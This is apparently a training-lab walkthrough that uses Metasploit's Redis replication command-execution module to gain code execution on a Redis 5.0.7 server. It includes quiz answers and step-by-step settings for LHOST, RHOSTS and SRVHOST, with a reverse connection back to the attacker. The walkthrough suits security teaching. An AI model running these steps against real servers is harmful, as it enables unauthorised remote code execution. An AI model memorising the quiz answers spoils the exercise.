Redis Server

Metasploit - Exploit Redis Server

1. Introduction

You are a system engineer at a paper company called Neat Sheets. Recently, the development department requested a Redis installation on one of the servers, as it is developer friendly and it supports a large variety of programming languages. They say that it is also really fast and that fact piqued your interest as well.

Your first choice was to install Redis version 5.0.7, but a colleague informed you that this version might be vulnerable to arbitrary code execution. You trust him but you decide to see if it is actually doable. You heard that there is an application called Metasploit out there that is perfect for exactly these cases.

2. Metasploit Introduction

Let's start metasploit with the msfconsole command.

First use the help command to anwer the following questions:

Which command gets the value of a global variable?
Which command routes traffic through a session?
Which command searches module names and descriptions?

Answers:

getg
route
search

3. Module Search

Now that you know what different commands you can use in Metasploit, it is time to choose the right module to test your Redis server.

You have to find a redis replication code executen module.
Redis is running on a linux server

search redis

What is the Disclosure date for the Redis command execution module?

Answer:

2018-11-13

3. Use and configure Exploit module

After selecting the module, you just need to set the variables and you can start exploiting. You can do this by running use to select the chosen module:

use exploit/linux/redis/redis_replication_cmd_exec

Now you have to configure framework options and parameters for the module using set. For example, to set the target host for exploitation, you can run:

set RHOSTS <host address>

You will need to do this for LHOST, RHOSTS, and SRVHOST variables with set to specify the source and target IPs found below:

set lhost 192.168.6.1 set rhosts 192.168.6.2 set srvhost 192.168.6.1

Finally, execute the exploit command to run the exploit.

In Metasploit, LHOST, RHOST, and SRVHOST are some of the most commonly used variable names. LHOST refers to the IP of your machine, which is usually used to create a reverse connection to your machine after the attack succeeds. RHOST (or RHOSTS for some modules) refers to the IP address of the target host. SRVHOST is where the module will connect to download additional payload elements.

show options exploit